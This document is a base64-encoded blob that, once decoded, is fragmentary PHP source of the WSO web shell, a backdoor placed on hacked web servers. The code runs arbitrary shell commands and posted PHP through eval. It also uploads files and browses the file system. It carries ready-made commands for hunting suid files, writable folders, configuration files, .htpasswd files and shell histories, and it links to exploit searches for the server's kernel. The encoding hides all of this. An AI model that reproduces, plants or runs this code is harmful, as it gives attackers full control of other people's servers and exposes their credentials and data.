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zsNCiANCmlmKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQ0KICAgICRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IChib29sKSRkZWZhdWx0X3VzZV9hamF4Ow0KIA0KaWYoJG9zID09ICd3aW4nKQ0KICAgICAgICAkYWxpYXNlcyA9IGFycmF5KA0KICAgICAgICAgICAgICAgICJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsDQogICAgICAgICJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLA0KICAgICAgICAiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwNCiAgICAgICAgIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLA0KICAgICAgICAiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwNCiAgICAgICAgIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsDQogICAgICAgICJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwNCiAgICAgICAgICAgICAgICAiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwNCiAgICAgICAgICAgICAgICAiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiDQogICAgICAgICk7DQplbHNlDQogICAgICAgICRhbGlhc2VzID0gYXJyYXkoDQogICAgICAgICAgICAgICAgIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsDQogICAgICAgICAgICAgICAgImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsDQogICAgICAgICAgICAgICAgInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsDQogICAgICAgICJwcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsDQogICAgICAgICAgICAgICAgIkZpbmQiID0+ICIiLA0KICAgICAgICAgICAgICAgICJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogICAgICAgICAgICAgICAgImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLA0KICAgICAgICAgICAgICAgICJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogICAgICAgICAgICAgICAgImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLA0KICAgICAgICAgICAgICAgICJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLA0KICAgICAgICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsDQogICAgICAgICAgICAgICAgImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgICAgICAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwNCiAgICAgICAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhb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gaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwNCiAgICAgICAgICAgICAgICAibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwNCiAgICAgICAgICAgICAgICAibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLA0KICAgICAgICAgICAgICAgICJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLA0KICAgICAgICAgICAgICAgICJsb2NhdGUgbXkuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwNCiAgICAgICAgICAgICAgICAibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsDQogICAgICAgICAgICAgICAgImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLA0KICAgICAgICAgICAgICAgICJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZi5waHAiLA0KICAgICAgICAgICAgICAgICJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwNCiAgICAgICAgICAgICAgICAibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsDQogICAgICAgICAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLA0KICAgICAgICAgICAgICAgICJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLA0KICAgICAgICAgICAgICAgICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsDQogICAgICAgICAgICAgICAgImxvY2F0ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLA0KICAgICAgICAgICAgICAgICJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLA0KICAgICAgICAgICAgICAgICJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLA0KICAgICAgICAgICAgICAgICJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLA0KICAgICAgICAgICAgICAgICJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwNCiAgICAgICAgICAgICAgICAibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwNCiAgICAgICAgICAgICAgICAibG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcubXlzcWxfaGlzdG9yeSciLA0KICAgICAgICAgICAgICAgICJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwNCiAgICAgICAgICAgICAgICAibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLA0KICAgICAgICAgICAgICAgICJsb2NhdGUgZHVtcCBmaWxlcyIgPT4gImxvY2F0ZSBkdW1wIiwNCiAgICAgICAgICAgICAgICAibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiINCiAgICAgICAgKTsNCiANCmZ1bmN0aW9uIHdzb0hlYWRlcigpIHsNCiAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQ0KICAgICAgICAgICAgICAgICRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOw0KICAgICAgICBnbG9iYWwgJG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KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCiAgICAgICAgICAgICAgICB2YXIgcGFyYW1zID0gJ2FqYXg9dHJ1ZSc7DQogICAgICAgICAgICAgICAgZm9yKGk9MDtpPGQubWYuZWxlbWVudHMubGVuZ3RoO2krKykNCiAgICAgICAgICAgICAgICAgICAgICAgIHBhcmFtcyArPSAnJicrZC5tZi5lbGVtZW50c1tpXS5uYW1lKyc9JytlbmNvZGVVUklDb21wb25lbnQoZC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7DQogICAgICAgICAgICAgICAgc3IoJyIgLiBhZGRzbGFzaGVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHBhcmFtcyk7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsNCiAgICAgICAgICAgICAgICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KQ0KICAgICAgICAgICAgICAgICAgICAgICAgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICAgICAgICAgICAgZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpDQogICAgICAgICAgICAgICAgICAgICAgICByZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgnTWljcm9zb2Z0LlhNTEhUVFAnKTsNCiAgICAgICAgaWYgKHJlcSkgew0KICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7DQogICAgICAgICAgICByZXEub3BlbignUE9TVCcsIHVybCwgdHJ1ZSk7DQogICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsNCiAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBwcm9jZXNz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lza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7DQogICAgICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOw0KICAgICAgICAka2VybmVsID0gQHBocF91bmFtZSgncycpOw0KICAgICAgICAkZXhwbGluayA9ICdodHRwOi8vZXhwbG9pdC1kYi5jb20vc2VhcmNoLz9hY3Rpb249c2VhcmNoJmZpbHRlcl9kZXNjcmlwdGlvbj0nOw0KICAgICAgICBpZihzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICRleHBsaW5rIC49IHVybGVuY29kZSgnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsMCw2KSk7DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAkZXhwbGluayAuPSB1cmxlbmNvZGUoJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpKTsNCiAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQogICAgICAgICAgICAgICAgJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICAgICAgICAgICAgICR1aWQgPSBAZ2V0bXl1aWQoKTsNCiAgICAgICAgICAgICAgICAkZ2lkID0gQGdldG15Z2lkKCk7DQogICAgICAgICAgICAgICAgJGdyb3VwID0gIj8iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsNCiAgICAgICAgICAgICAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk7DQogICAgICAgICAgICAgICAgJHVzZXIgPSAkdWlkWyduYW1lJ107DQogICAgICAgICAgICAgICAgJHVpZCA9ICR1aWRbJ3VpZCddOw0KICAgICAgICAgICAgICAgICRncm91cCA9ICRnaWRbJ25hbWUnXTsNCiAgICAgICAgICAgICAgICAkZ2lkID0gJGdpZFsnZ2lkJ107DQogICAgICAgIH0NCiANCiAgICAgICAgJGN3ZF9saW5rcyA9ICcnOw0KICAgICAgICAkcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAkbj1jb3VudCgkcGF0aCk7DQogICAgICAgIGZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7DQogICAgICAgICAgICAgICAgJGN3ZF9saW5rcyAuPSAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsXCIiOw0KICAgICAgICAgICAgICAgIGZvcigkaj0wOyAkajw9JGk7ICRqKyspDQogICAgICAgICAgICAgICAgICAgICAgICAkY3dkX2xpbmtzIC49ICRwYXRoWyRqXS4nLyc7DQogICAgICAgICAgICAgICAgJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KICAgICAgICB9DQogDQogICAgICAgICRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOw0KICAgICAgICAkb3B0X2NoYXJzZXRzID0gJyc7DQogICAgICAgIGZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQ0KICAgICAgICAgICAgICAgICRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsNCiANCiAgICAgICAgJG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0NvbnNvbGUnPT4nQ29uc29sZScsJ1Nx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GZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsNCiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgIEBzeXN0ZW0oJGluKTsNCiAgICAgICAgICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KICAgICAgICAgICAgICAgICRvdXQgPSBzaGVsbF9leGVjKCRpbik7DQogICAgICAgIH0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsNCiAgICAgICAgICAgICAgICAkb3V0ID0gIiI7DQogICAgICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7DQogICAgICAgICAgICAgICAgcGNsb3NlKCRmKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJG91dDsNCn0NCiANCmZ1bmN0aW9uIHdzb1ZpZXdTaXplKCRzKSB7DQogICAgICAgIGlmKCRzID49IDEwNzM3NDE4MjQpDQogICAgICAgICAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOw0KICAgICAgICBlbHNlaWYoJHMgPj0gMTA0ODU3NikNCiAgICAgICAgICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOw0KICAgICAgICBlbHNlaWYoJHMgPj0gMTAyNCkNCiAgICAgICAgICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOw0KICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgcmV0dXJuICRzIC4gJyBCJzsNCn0NCiANCmZ1bmN0aW9uIHdzb1Blcm1zKCRwKSB7DQogICAgICAgIGlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsNCiAgICAgICAgZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsNCiAgICAgICAgZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsNCiAgICAgICAgZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsNCiAgICAgICAgZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsNCiAgICAgICAgZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsNCiAgICAgICAgZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsNCiAgICAgICAgZWxzZSAkaSA9ICd1JzsNCiAgICAgICAgJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQogICAgICAgICRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KICAgICAgICAkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCiAgICAgICAgcmV0dXJuICRpOw0KfQ0KIA0KZnVuY3Rpb24gd3NvUGVybXNDb2xvcigkZikgew0KICAgICAgICBpZiAoIUBpc19yZWFkYWJsZSgkZikpDQogICAgICAgICAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQogICAgICAgIGVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpDQogICAgICAgICAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT4nIC4gd3NvUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jMjVmZjAwPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQp9DQogDQpmdW5jdGlvbiB3c29TY2FuZGlyKCRkaXIpIHsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgew0KICAgICAgICByZXR1cm4gc2NhbmRpcigkZGlyKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsNCiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkNCiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGVuYW1lOw0KICAgICAgICByZXR1cm4gJGZpbGVzOw0KICAgIH0NCn0NCiANCmZ1bmN0aW9uIHdzb1doaWNoKCRwKSB7DQogICAgICAgICRwYXRoID0gd3NvRXgoJ3doaWNoICcgLiAkcCk7DQogICAgICAgIGlmKCFlbXB0eSgkcGF0aCkpDQogICAgICAgICAgICAgICAgcmV0dXJuICRwYXRoOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQp9DQogDQpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgew0KICAgICAgICB3c29IZWFkZXIoKTsNCiAgICAgICAgZWNobyAnPGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQogICAgICAgIGZ1bmN0aW9uIHdzb1NlY1BhcmFtKCRuLCAkdikgew0KICAgICAgICAgICAgICAgICR2ID0gdHJpbSgkdik7DQogICAgICAgICAgICAgICAgaWYoJHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzcGFuPicgLiAkbiAuICc6IDwvc3Bhbj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJHYgLiAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPicgLiAkdiAuICc8L3ByZT4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KIA0KICAgICAgICB3c29TZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykpDQogICAgICAgIHdzb1NlY1BhcmFtKCdMb2FkZWQgQXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxlcygpKSk7DQogICAgICAgIHdzb1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3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ZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsNCiAgICAgICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsNCiAgICAgICAgICAgICAgICBlY2hvICc8YnI+JzsNCiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQ0KICAgICAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRlbSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07DQogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pDQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pDQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkNCiAgIC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IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdWlkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wIC49IGpvaW4oJzonLCR1aWQpLiJcbiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOw0KICAgICAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnVXNlcnMnLCAkdGVtcCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgndmVyJykpOw0KICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyx3c29FeCgnbmV0IGFjY291bnRzJykpOw0KICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyx3c29FeCgnbmV0IHVzZXInKSk7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAnPC9kaXY+JzsNCiAgICAgICAgd3NvRm9vdGVyKCk7DQp9DQogDQpmdW5jdGlvbiBhY3Rpb25QaHAoKSB7DQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIHRydWUpOw0KICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgZXZhbCgkX1BPU1RbJ3AxJ10pOw0KICAgICAgICAgICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIgLiBhZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQogICAgICAgICAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsNCiAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICB9DQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pICYmICFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIDApOw0KIA0KICAgICAgICB3c29IZWFkZXIoKTsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmZvJykpIHsNCiAgICAgICAgICAgICAgICBlY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3R5bGU+LnAge2NvbG9yOiMwMDA7fTwvc3R5bGU+JzsNCiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgIHBocGluZm8oKTsNCiAgICAgICAgICAgICAgICAkdG1wID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoYXJyYXkgKA0KICAgICAgICAgICAgJyEoYm9keXxhOlx3K3xib2R5LCB0ZCwgdGgsIGgxLCBoMikgey4qfSFtc2lVJywNCiAgICAgICAgICAgICchdGQsIHRoIHsoLiopfSFtc2lVJywNCiAgICAgICAgICAgICchPGltZ1tePl0rPiFtc2lVJywNCiAgICAgICAgKSwgYXJyYXkgKA0KICAgICAgICAgICAgJycsDQogICAgICAgICAgICAnLmUsIC52LCAuaCwgLmggdGggeyQxfScsDQogICAgICAgICAgICAnJw0KICAgICAgICApLCAkdG1wKTsNCi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BodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICc8L3ByZT48L2Rpdj4nOw0KICAgICAgICB3c29Gb290ZXIoKTsNCn0NCiANCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgew0KICAgIGlmICghZW1wdHkgKCRfQ09PS0lFWydmJ10pKQ0KICAgICAgICAkX0NPT0tJRVsnZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydmJ10pOw0KICAgDQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgICAgICAgICAgc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAndXBsb2FkRmlsZSc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJy